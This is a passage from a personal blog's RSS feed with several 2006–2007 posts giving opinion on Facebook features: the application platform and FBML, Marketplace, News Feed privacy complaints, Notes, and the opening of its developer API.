<p>FBML is big because it allows integration of Facebook apps with the main site.  Before, Facebook applications were run on the developers&#8217; own sites, and didn&#8217;t really hook into the main site.  While the backend of the application will still have to be run off another site, data from the app can be neatly hooked into the main site in a variety of places, providing slick integration with Facebook itself.  To quote Facebook:</p>
<blockquote><p>You can hook into several Facebook integration points, including the Profile, Profile Actions, Canvas, News Feed and Mini-Feed.</p>
</blockquote>
<p>This effectively turns Facebook apps into &#8220;widgets&#8221; that add features and functionality to the main site.  In this way, users can pick and choose what neat apps they want to use on Facebook.  At the same time, Facebook can keep the site neat and clean, because the integration makes it easy to adopt the Facebook &#8220;look &#038; feel&#8221; for these widgets, preventing Facebook from turning into the graffiti-invested section of the web that MySpace is.  </p>
<h3>It&#8217;s about developers</h3>
<p>Besides the ease with with most web developers will be able to learn the use of FQL and FBML, Facebook has also redone their <a href="http://developers.facebook.com/">Developer&#8217;s Site</a>, making it look more different and separate from the main Facebook site.  Most of the information remains the same, but it has been organized and streamlined more, and there are plenty of examples.  Facebook also took the time to sign up many launch partners.  For example, <a href="http://last.fm">Last.fm</a> quickly launched their Facebook <a href="http://www.facebook.com/apps/application.php?id=2381079642&#038;b">application</a>, and it&#8217;s quite popular.  </p>
<p>Even more interesting is that Facebook is letting application developers <a href="http://www.thestreet.com/_googlen/newsanalysis/technet/10359353_3.html">keep the revenue</a> made from ads served through their application.  I guess this is a win-win situation, since by using the app, people stay on Facebook even more, so in the end, they make more money as well through their own ad system.  This allays some of my fear outlined in my <a href="http://unitstep.net/blog/2007/05/14/facebook-marketplace-debuts/">previous article</a> about Facebook competing with services created through their API.  </p>
<h3>The OS of the web?</h3>
<p>If this really is the case, then it signals a new direction for Facebook.  No longer content to be just a popular social networking site, they now want to be a platform for all sorts of applications that will automatically have a wide audience.  In this way, you can view Facebook as the &#8220;OS&#8221; and all of these widgets as the applications created for the users, in this case, the membership of Facebook.  Users can easily pick and choose which apps they want to use, so nothing is forced upon users.  Even &#8220;core&#8221; Facebook features such as &#8220;Notes&#8221; are placed under the same heading of &#8220;Applications&#8221; alongside user-created ones, so you can even opt-out of these.  </p>
<p>This will have the overall effect of making Facebook the central place for social-networking.  No more will users have to wait for Facebook itself to add features to the site, as if there&#8217;s enough need, some enterprising web developer will add the functionality.  Want a calendar?  <a href="http://30boxes.com/">30boxes</a> <a href="http://www.facebook.com/apps/application.php?id=2359167966&#038;b">has one</a>. (I&#8217;m waiting for a Google Calendar widget) Overall, I&#8217;m really impressed by the technical ideas behind all of this.</p>
<h3>MySpace syndrome</h3>
<p>One huge concern is whether or not allowing users to add any widgets they want to their profile will result in Facebook&#8217;s quality deteriorating to MySpace-like levels.  No doubt that was a <strong>huge</strong> concern of the Facebook team, as they have built a successful social network that many users see as being more mature than MySpace.  For the most part, they&#8217;ve accomplished this &#8211; integration with the main site has been done in a controlled way to ensure that widgets keep with the look &#038; feel of the site, and don&#8217;t allow someone to turn their profile into an ugly affront to the visual sensory system.  </p>
<p>However, users can still tend to overpopulate their profile with too many widgets, making things look cluttered.  And, there&#8217;s nothing stopping anyone from making <a href="http://www.facebook.com/apps/application.php?api_key=dedfb76ea931f5711244730ce4213345">drawing widget</a>.  But perhaps the most unwanted feature was the addition of &#8220;trackers&#8221;.  Many MySpace profiles now feature these &#8211; basically a link or an image to a third-party server that once loaded, can tell the profile owner who has visited their profile and how many times &#8211; a sort of form of reverse-stalking.  Facebook took steps to ensure that this was not possible with their widgets.  </p>
<p>This hasn&#8217;t <a href="http://www.facebook.com/apps/application.php?id=2389335937">stopped anyone</a> from making such a widget for this purpose.  However, this widget requires a user to click a link on the profile page in order to be tracked.  In order to do this, they try to attract you to click this link because it sends you to a page that also shows <em>who else</em> has viewed the profile.  It would seem that people&#8217;s capacity for voyeurism is boundless.  However, as with all apps, you don&#8217;t have to add it, and you can even block or restrict it if you want. </p>
<h3>In the end</h3>
<p>All things considered, this will be beneficial for Facebook&#8217;s bottom line.  I seriously doubt they&#8217;ll lose any significant number of users from this, and will certainly gain more and keep the existing user base happy and interested in what they&#8217;re doing.  I think they learned from last year&#8217;s <a href="http://unitstep.net/blog/2006/09/06/facebook-users-vent-their-rage-at-privacy-violations/">uproar over the introduction of News Feed</a> that the loudest dissent starts right after the addition, and dies down soon after.  News Feed is now an accepted part of Facebook, and I don&#8217;t think anyone would want to go without it.  </p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2007/06/03/facebooks-platform-adds-integration-to-applications/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Facebook Marketplace debuts</title>
		<link>http://unitstep.net/blog/2007/05/14/facebook-marketplace-debuts/</link>
		<comments>http://unitstep.net/blog/2007/05/14/facebook-marketplace-debuts/#comments</comments>
		<pubDate>Mon, 14 May 2007 19:13:57 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[advertising]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2007/05/14/facebook-marketplace-debuts/</guid>
		<description><![CDATA[Facebook recently launched its Marketplace, a local classifieds service. It allows users to freely post wanted or for-sale ads, localized by the networks that the user is in. For example, a member of a university-based network will be able to view all the classified ads in that area, simplifying the buying and selling process. It [...]]]></description>
			<content:encoded><![CDATA[<p>Facebook recently launched its <a href="http://www.facebook.com/marketplace">Marketplace</a>, a local classifieds service.  It allows users to freely post wanted or for-sale ads, localized by the networks that the user is in.  For example, a member of a university-based network will be able to view all the classified ads in that area, simplifying the buying and selling process.  </p>
<p>It seems that before the launch of this service, Facebook decided to solicit some <a href="http://mashable.com/2007/04/18/facebook-classifieds/">feedback from its users</a> about its usefulness to them.  After the <a href="http://unitstep.net/blog/2006/09/06/facebook-users-vent-their-rage-at-privacy-violations/">&#8220;debacle&#8221;</a> that surrounded last year&#8217;s introduction of the &#8220;News Feed&#8221;, perhaps they were a bit edgy about introducing new features without getting their users&#8217; opinions.  However, I believe this new service will be a big success, and should have come earlier.  It also perhaps signals that there are more services to come. </p>
<h2>If you build it, they will come</h2>
<p>Yes, this is true, but with a slight modifier: If you build it, they will come, and possibly complain &#8211; but they&#8217;ll still come.  Look at the news feed &#8211; when it debuted, users were up in arms about the &#8220;privacy violations&#8221; that it would bring.  Now, it&#8217;s just as much a part of Facebook as anything else.  At the core, it&#8217;s a good feature, but people just hate change.  After they adjust to it, as long as it&#8217;s a good change, they&#8217;ll like it.  And, considering that most of Facebook is the under-30 crowd, who easily adjust to new changes due growing up with computers, the adjustment won&#8217;t take long.  </p>
<p>Which is why it&#8217;s perhaps a surprise that Facebook didn&#8217;t introduce this feature earlier.  It fits <em>right in</em> with the concept of Facebook, that is, a localized social network of people you actually know.  Research shows that people use Facebook like it&#8217;s a drug, and now that this new Marketplace is up front and center, it&#8217;ll be sure to attract lots of usage, perhaps even providing real competition to services like craigslist.  Perhaps that&#8217;s the real power of Facebook &#8211; it has the ability to provide a huge audience to new services, provided they&#8217;re good.  </p>
<p>In fact, many developers have <a href="http://mashable.com/2007/05/11/facebook-marketplace-2/">rolled out similar services</a> before Facebook&#8217;s, some of which even use Facebook&#8217;s own API to tie-in the service with Facebook.  Also, Oodle recently <a href="http://queensu.facebook.com/group.php?gid=2355641740">sponsored a group</a> on Facebook to attract users to its own classified service, though how effective this will be in light of Facebook&#8217;s new Marketplace, remains to be seen. </p>
<h2>Part of the plan?</h2>
<p>Facebook&#8217;s hesitation may have been part of their overall plan, though.  No doubt they have smart people working for them, monitoring various online services that they&#8217;d like to compete against.  They may have seen the popularity of classified ad sites, or more importantly, those that were using the <a href="http://developers.facebook.com">Facebook API</a> to implement their services.  By allowing these sites to &#8220;take the plunge&#8221;, they could gauge the viability of such a service to the Facebook crowd &#8211; that is, whether it was worthwhile or not.  Then, once they were convinced, they could begin working on an in-house version, that once ready, could be dumped onto &#8220;the masses&#8221; for an almost-certain success.  Perhaps this was at least a part of the reason for the development of Facebook&#8217;s API last year. </p>
<h2>Feature creep</h2>
<p>Though I believe that this should have come earlier, I respect Facebook&#8217;s hesitation at introducing new features.  Facebook, at it&#8217;s core, hasn&#8217;t changed much.  They&#8217;ve only added new features slowly, and by doing this they avoid feature creep &#8211; the stage when an application has so many features that most users don&#8217;t know what they all do, and as a result, it ends up feeling bloated.  Remember, when it comes to widely-used applications, simple is beautiful.  By introducing new features only once in a while, Facebook gives its users time to adjust, so that they don&#8217;t feel like the site is changing into something very different than the one they joined.  </p>
<p>However, I believe this may signal the end of <a href="http://queensu.facebook.com/flyers.php">Facebook&#8217;s Flyers</a>, a paid ad feature.  These were little user-generated ads that could be purchased for a fixed rate &#8211; you could, for example, buy an ad that would be displayed for 10,000 page views.  Most of the ads that I saw were classifieds and would fit right in the new Marketplace section of Facebook.  Now that you can place such an ad for free that people can search for, I see little use for &#8220;Flyers&#8221;.  Facebook will likely quietly retire this feature, or it&#8217;ll only be used by companies wanting to advertise products and promotions. </p>
<p>Now, if you&#8217;ll excuse me, I have go list my textbooks on the Marketplace.</p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2007/05/14/facebook-marketplace-debuts/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Facebook users vent their rage at &#8220;privacy&#8221; violations</title>
		<link>http://unitstep.net/blog/2006/09/06/facebook-users-vent-their-rage-at-privacy-violations/</link>
		<comments>http://unitstep.net/blog/2006/09/06/facebook-users-vent-their-rage-at-privacy-violations/#comments</comments>
		<pubDate>Thu, 07 Sep 2006 03:55:00 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[facebook]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2006/09/06/facebook-users-vent-their-rage-at-privacy-violations/</guid>
		<description><![CDATA[It seems that many, if not most, Facebook users do not like the changes made to the system, namely, the addition of the &#8220;News Feed&#8221; and &#8220;Mini News Feed&#8221; that quickly allow one to see all the updates that another Facebook user has done. In effect, these new additions make it easy to &#8220;track&#8221; what [...]]]></description>
			<content:encoded><![CDATA[<p>It seems that many, if not most, <a href="http://www.techcrunch.com/2006/09/06/facebook-users-revolt-facebook-replies/">Facebook users do not like</a> the <a href="http://unitstep.net/blog/2006/09/05/facebook-updates-its-interface-sort-of/">changes made</a> to the system, namely, the addition of the &#8220;News Feed&#8221; and &#8220;Mini News Feed&#8221; that quickly allow one to see all the updates that another Facebook user has done.  In effect, these new additions make it easy to &#8220;track&#8221; what another user has been up to, since the events are tagged with a timestamp and provide all the details.</p>
<p>Since the changes were put into effect, scarcely a day ago, a bevy of groups voicing their opposition to the new features have sprung up on Facebook.  Many of them are united by the fact that the news feeds crowd their starting page now, and cause information overload &#8211; something I criticized as well.  However, most of them decry these new features as being huge breaches of privacy and point to how they make stalking much easier.</p>
<h3>Outrage and calls for a boycott</h3>
<p>Many anti-changes-to-Facebook groups have been formed, but the largest one (with an <a href="http://www.petitiononline.com/faceb00k/petition.html">online petition</a>), has almost 500,000 users and is still growing at a fast pace.  Many of the comments talk about how this is turning Facebook into a ripe target for stalkers, and of the potential for privacy violation.  Certainly such a large group of people can&#8217;t be wrong?</p>
<h3>The Internet is not private</h3>
<p>While I admit these changes do help to advertise events in such a way that more people find out about them then some would like to, I don&#8217;t believe it fundamentally affects the privacy of Facebook.  As I mentioned <a href="http://unitstep.net/blog/2006/09/05/facebook-updates-its-interface-sort-of/">in my original post</a>, this will hopefully serve as a reminder that privacy on the Internet, even it is in a seemingly locked-away area such as Facebook, is something that one cannot expect.  If you post information in a publically-accessible area on the Internet, someone will eventually find out about it, either by mistake or through the <a href="http://en.wikipedia.org/wiki/Googlebot">Googlebot</a>.</p>
<p>However, much of these concerns are ill-placed.  As mentioned on the <a href="http://blog.facebook.com/blog.php?post=2208197130">Facebook blog</a>, no extra information that wasn&#8217;t publically available before, has been made available by this update.  All it does is aggregate all of that information about your friends in a way that&#8217;s supposed to make it easier for you to read.  I agree that some options should be provided &#8211; such as what information you want to see about your friends (eg. I don&#8217;t care that someone wrote on someone else&#8217;s wall), but if <strong>you</strong> don&#8217;t want your information showing up on other people&#8217;s feed, simple disable those options in your privacy setting in Facebook.</p>
<h3>Of more concern</h3>
<p>What&#8217;s more important to know is that Facebook is not a secretive place and has <strong>never</strong> been.  It&#8217;s <a href="http://arstechnica.com/news.ars/post/20060119-6016.html">already been used</a> to identify and charge people for offences because of photos someone posted of them committing incriminating acts.  It&#8217;s also <a href="http://www.tsl.pomona.edu/index.php?article=1401">reportedly used</a> by employers concerning potential employees.  Don&#8217;t think that someone can access your profile if they&#8217;re not in your network? <a href="http://yro.slashdot.org/article.pl?sid=06/07/11/183219">Patriot Act &#8211; Read it.</a> (Shameless <cite>Arrested Development</cite> quotation)  Are your <a href="http://www.privacyrights.org/ar/OnlinePersona.htm">privacy rights being violated</a> by all this information-gathering online? I don&#8217;t know, maybe; but the lesson here is clear.  If you don&#8217;t want to take the chance having something private revealed about yourself, don&#8217;t post it online. </p>
<h3>A rude wakeup</h3>
<p>Any big change to a user interface is bound to cause some uproar, but this has provoked extra outcry because it has outlined the true nature of &#8220;privacy&#8221; on Facebook.  The default privacy options are apparently too loose for most people, but most people haven&#8217;t bothered to change them &#8211; until now.  Additionally, many people simply add whomever requests it to their friends list, without thinking about whether they would want that person to be privy to certain bits of information they post on Facebook.  While I do think that some changes need to be made now with the new features, I don&#8217;t think that these new features intentionally infringe on privacy.  The features were meant to allow one to quickly share updates with friends &#8211; not with random people you just add as friends.  Perhaps people will exercise more discretion in the future, returning Facebook into a real &#8220;social&#8221; network.</p>
<h3>Update (2006-09-08)</h3>
<p>Facebook has responded by making changes to <a href="http://blog.facebook.com/blog.php?post=2208562130">allow users to choose</a> what updates and information they want to be displayed in the News Feed and their Mini-Feed.  Sounds like a good way to ease in the changes, as people can now decide what they want advertised &#8211; they should have done this from the beginning, but it&#8217;s nonetheless good to see them listening to their users.</p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2006/09/06/facebook-users-vent-their-rage-at-privacy-violations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Facebook updates its interface (sort of)</title>
		<link>http://unitstep.net/blog/2006/09/05/facebook-updates-its-interface-sort-of/</link>
		<comments>http://unitstep.net/blog/2006/09/05/facebook-updates-its-interface-sort-of/#comments</comments>
		<pubDate>Tue, 05 Sep 2006 16:49:30 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[facebook]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[user interface]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2006/09/05/facebook-updates-its-interface-sort-of/</guid>
		<description><![CDATA[Logged into Facebook today (who doesn&#8217;t?), and was surprised to see the new interface, added just in time for the new school year and thus just before increased usage of the service will start. Added were two features &#8211; firstly, a &#8220;News Feed&#8221; that displays when you first login, instead of the old notification page [...]]]></description>
			<content:encoded><![CDATA[<p>Logged into Facebook today (who doesn&#8217;t?), and was surprised to see the <a href="http://blog.facebook.com/blog.php?post=2207967130">new interface</a>, added just in time for the new school year and thus just before increased usage of the service will start.  Added were two features &#8211; firstly, a &#8220;News Feed&#8221; that displays when you first login, instead of the old notification page that most people just clicked through.  Besides displaying the usual notifications (new friend confirmations, upcoming birthdays), which have been relocated to a sidebar, it displays an <acronym class="uttInitialism" title="Really Simple Syndication">RSS</acronym>-style feed of all things that have changed or been updated with your friends. </p>
<p>Things like friends&#8217; status updates, new friends of your friends, new photos of your friends, and groups that you friends have joined/left are listed, along with when these actions occurred.  Basically, most of things that people would browse around for about their friends have been nicely aggregated into one page for easier viewing, making the service easier to use and more relevant.  However, it&#8217;s almost information overload &#8211; I don&#8217;t really need to see every status update on what groups my friends have joined or left, do I? </p>
<p>Additionally, it makes it easier to snoop in on what your friends are doing on Facebook and when they&#8217;re online &#8211; though it should be noted that all the information posted in the News Feed was always publically available; this just makes it dead simple to find all of it.</p>
<p>The second feature that was added was what they called a &#8220;Mini News Feed&#8221;, which is displayed on every personal user&#8217;s profile.  It&#8217;s basically the same as your News Feed, except it displays only the updates for that user/friend &#8211; again making it easier to keep track of your friends and what they&#8217;ve been doing, which only serves to further improve Facebook&#8217;s social networking ability. </p>
<p>I agree with <a href="http://www.techcrunch.com/2006/09/05/new-facebook-redesign-more-than-just-aesthetics/trackback/">TechCrunch&#8217;s assessment</a> that Facebook &#8220;gets it right&#8221; when it comes to social networking &#8211; it&#8217;s more about making the end user experience better than just about increasing pageviews, and often the two are conflict.  Other sites just can&#8217;t compare, in my opinion.  My only suggestion for improvement would be to have some sort of settings page for the News Feed so what&#8217;s displayed can be customized. </p>
<h3>Nothing&#8217;s changed with privacy?</h3>
<p>However, I disagree with Facebook&#8217;s assertion that these changes &#8220;<i class="quote">do not give out any information that wasn&#8217;t already visible</i>&#8220;, at least in principle.  While it&#8217;s true that before you could have constantly scanned each and every one of your friend&#8217;s profiles in order to figure out when they had joined certain groups, posted wall messages or otherwise updated their profile, this would have been very tedious and time-consuming, and only the most dedicated stalkers would be able to keep up.  The new features make this pseudo-voyeurism all too easy. (You could have also written a scraper before, but this would probably have been against the TOS)</p>
<p>If there&#8217;s anything good about these changes, it&#8217;s that it&#8217;ll make people think twice about posting <a href="http://arstechnica.com/news.ars/post/20060119-6016.html">incriminating</a> or otherwise <a href="http://yro.slashdot.org/article.pl?sid=06/07/11/183219&#038;from=rss">personal information</a> that they would normally want to remain private. It may also force users to reconsider who they really want to add as a &#8220;friend&#8221;, and how they want their privacy to be set. </p>
<h3>I&#8217;ll still be using it</h3>
<p>Of course, I&#8217;m not going to stop using Facebook.  But, maybe the way I use it will change &#8211; and most likely this will be true with many other users, if the newest Facebook group, entitled &#8220;<cite>The New Facebook is Freaky as Sh*t</cite>&#8220;, is in any indication of this.  How did I learn of this group? By noting that a friend of mine had just joined it, as of 11:17 PM EST tonight.</p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2006/09/05/facebook-updates-its-interface-sort-of/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Facebook adds &#8220;Notes&#8221;, a basic blogging tool</title>
		<link>http://unitstep.net/blog/2006/08/22/facebook-adds-notes-a-basic-blogging-tool/</link>
		<comments>http://unitstep.net/blog/2006/08/22/facebook-adds-notes-a-basic-blogging-tool/#comments</comments>
		<pubDate>Wed, 23 Aug 2006 01:14:50 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2006/08/22/facebook-adds-notes-a-basic-blogging-tool/</guid>
		<description><![CDATA[Hot on the heels of their API release, Facebook has just added &#8220;Notes&#8221; to their service. It&#8217;s a basic blogging/journal entry platform, allowing users to write entries about anything they wish. (Most entries will probably boil down to the mundane) It seems like Facebook is responding to users&#8217; suggestions, and adding the features they want [...]]]></description>
			<content:encoded><![CDATA[<p>Hot on the heels of their <a href="http://unitstep.net/blog/2006/08/15/facebook-opens-an-api-to-developers/">API release</a>, Facebook has just <a href="http://treycopeland.net/2006/08/22/facebook-notes-released/">added &#8220;Notes&#8221;</a> to their service.  It&#8217;s a basic blogging/journal entry platform, allowing users to write entries about anything they wish.  (Most entries will probably boil down to the mundane) It seems like Facebook is responding to users&#8217; suggestions, and adding the features they want in an effort to better keep them happily on the service, rather than forcing users to rely on another service&#8217;s blogging tools to share their thoughts. </p>
<p>There are already many blogging services out there, with most of them more fully-featured than Facebook&#8217;s Notes service, so what makes this significant?  Well, first of all, Facebook basically has a monopoly on the university and college social networking scene, so the addition of any service carries some relevance right away.  Furthermore, they&#8217;ve added an <acronym class="uttInitialism" title="Really Simple Syndication">RSS</acronym> import feature, allowing users with existing blogs to syndicate/re-display their blog entries in Facebook Notes with ease.  Most online blogging services already include feeds, so this step should be compatible with most services existing user are already on, and it provides a nice transition path.  Furthermore, imported feeds include a link back to the original site, providing an incentive for users wanting to increase traffic back to their site. </p>
<p>What&#8217;s even better is that you can easily add tags to an entry, describing who the entry relates to.  The field for this has been nicely enhanced with Ajax, so as you type a list of matching friends pops up, to facilitate autocomplete.  You can also see a list of Note entries that were tagged with your name.  One of the things Facebooks is really good at, is helping people find other people with similar interests, and this is possible because of the great use of metadata they&#8217;ve undertaken.  Tagging entries is just another way they&#8217;re improving this.  </p>
<p>One thing some people are worrying about is that this might be seen as a signal that Facebook is moving towards MySpace in terms of how they want people to use the site, with more and more customized user content.  One thing that has thankfully separated Facebook from MySpace is the lack of user-customizable layouts and colours on profiles.  MySpace&#8217;s liberal allowances for user-customized profiles has resulted in blatantly <em>awful</em> sites that combine the worst colour combinations with site-stretching pictures and horrible embedded sounds and music, making it look worse than the Geocities of the late 90&#8242;s.  Let&#8217;s hope Facebook keeps the layout rigid and clean, so that it&#8217;s possible to browse the site without losing your eyes. </p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2006/08/22/facebook-adds-notes-a-basic-blogging-tool/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Facebook opens an API to developers</title>
		<link>http://unitstep.net/blog/2006/08/15/facebook-opens-an-api-to-developers/</link>
		<comments>http://unitstep.net/blog/2006/08/15/facebook-opens-an-api-to-developers/#comments</comments>
		<pubDate>Wed, 16 Aug 2006 01:01:30 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[api]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2006/08/15/facebook-opens-an-api-to-developers/</guid>
		<description><![CDATA[Facebook recently released an API for developers in order to allow them to create new applications that use the data available from Facebook, adding to the functionality already offered by the website. There are already applications in development, despite the recent release; the API is in a beta version, and doesn&#8217;t offer a whole lot [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.facebook.com">Facebook</a> recently <a href="http://www.techcrunch.com/2006/08/15/facebook-requests-developer-friends-with-new-api/">released</a> an <a href="http://developers.facebook.com/">API for developers</a> in order to allow them to create new applications that use the data available from Facebook, adding to the functionality already offered by the website.  There are <a href="http://fbnotify.com/">already</a> <a href="http://developers.facebook.com/products.php">applications</a> in development, despite the recent release; the API is in a beta version, and doesn&#8217;t offer a whole lot of methods, but it&#8217;s a great move and will help to improve the staying power of Facebook, as if it needed it.</p>
<h3>If you open it, they will come</h3>
<p>Opening an API up to developers is a great move, for several reasons.  Firstly, it signifies that your organization is open to feedback and ideas from the community, and gives them the green light to develop new uses for your service.  Developers will surely create new applications and plugins that allow your service to be used in many different contexts, thus increasing both the popularity and scope of your website or service.  But, perhaps the best part is that these developers willingly create these extensions, offering improved functionality, <em>for free</em>.  As much as I hate MySpace, they could learn a thing or two from Facebook&#8217;s API move, considering they&#8217;ve made moves <a href="http://www.techcrunch.com/2006/06/15/myspace-nukes-singlestatus/">in the exact opposite direction</a>.  The release of this API, for Facebook, is further insurance that their service will have staying power with its users; it&#8217;s already been <a href="http://www.techcrunch.com/2006/04/26/facebook-goes-beyond-college-high-school-markets/">reported that 85%</a> of college students are using it, with the majority logging in at least once a week. </p>
<p>In many ways this is like a game developer releasing a SDK to allow other developers to create mods for it.  No matter which way you look at it, the end result is beneficial to all.  The original game developer gets more exposure, end users get more substance, and mod developers get a chance to show off their skills. </p>
<h3>Facebook is also popular with the geeks</h3>
<p>As mentioned before, developers are already at work making new services for Facebook; it&#8217;s almost as if they were waiting to pull the trigger on this one &#8211; and this is only on the first day! Though the beta API is somewhat limited, some ideas that could be done include: working with a user&#8217;s events to transform them into a syndicated format (such as <acronym class="uttInitialism" title="Really Simple Syndication">RSS</acronym> or Atom), or even to move them over to a different format (like iCal) or service like Google Calendar using their API.  </p>
<p>Another use that&#8217;s been talked about is somehow integrated Facebook functionality with Google   Maps, using the respective APIs &#8211; that would <em>totally</em> rock.  <del datetime="2006-08-16T14:06:01+00:00">However, at present time I don&#8217;t think it&#8217;s possible &#8211; I don&#8217;t see any methods available for getting location information, but in the future, I see this becoming a reality.</del>  <strong>Edit</strong>: I stand corrected.  Check out <a href="http://www.bookfaced.com/fb/">Facebook Friend Mapper</a>.  (There is a <code>users.getInfo()</code> method that I apparently completely missed.)</p>
<h3>At present time&#8230;</h3>
<p>As mentioned, the API is currently in beta, so expect more methods to be added beyond the original 14 that <a href="http://developers.facebook.com/documentation.php">are currently described</a> in the documentation.  Some other facts from the <a href="http://developers.facebook.com/tos.php">terms-of-service</a> are:</p>
<dl>
<dt>API use is currently free, but this may change</dt>
<dd>This is pretty standard legalese. You&#8217;re currently limited to 100,000 requests per day.</dd>
<dt>You are not allowed to store Facebook data on your site</dt>
<dd>Makes sense as well; it&#8217;s Facebook&#8217;s data, they don&#8217;t want you just copying it and hosting it off-site.</dd>
<dt>Intellectual Property &#8211; you own all the code you create</dt>
<dd>This is a pretty important one.  Facebook won&#8217;t &#8220;appropriate&#8221; what you&#8217;ve created, but at the same time, you&#8217;re responsible for what you create, not Facebook.  If you develop an application that makes the user&#8217;s computer catch fire, burn down their house, and kill their kitten, obviously Facebook is not going to foot the legal bill.</dd>
</dl>
<p>Facebook can expect good returns on this move; many users have wanted a calendary to display their events, and now that functionality can easily be added by a developer, without Facebook even having to commit time or money to it.  Other features could be added in a similar manner, if Facebook continues to add to their new API.</p>
<p>Facebook is pretty much the only large, well-designed social networking site, and the release of their API only furthers this positive perception.  MySpace is pretty much the exact opposite, and I don&#8217;t think they could care &#8211; they have plenty of users, are making a lot of money, and just signed a huge deal with Google.  For them, it&#8217;s a classic case of &#8220;if it ain&#8217;t broke, don&#8217;t fix it&#8221;.  Too bad that basically keeps them where Geocities was during the late 1990&#8242;s.  Kudos to Facebook for being progressive. </p>
<hr/>Copyright &copy; 2012 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2006/08/15/facebook-opens-an-api-to-developers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How &#8220;web 2.0&#8243; is actually changing things</title>
		<link>http://unitstep.net/blog/2006/08/09/how-web-20-is-actually-changing-things/</link>
		<comments>http://unitstep.net/blog/2006/08/09/how-web-20-is-actually-changing-things/#comments</comments>
		<pubDate>Wed, 09 Aug 2006 23:52:35 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[advertising]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[web2.0]]></category>

		<guid isPermaLink="false">http://unitstep.net/blog/2006/08/09/how-web-20-is-actually-changing-things/</guid>
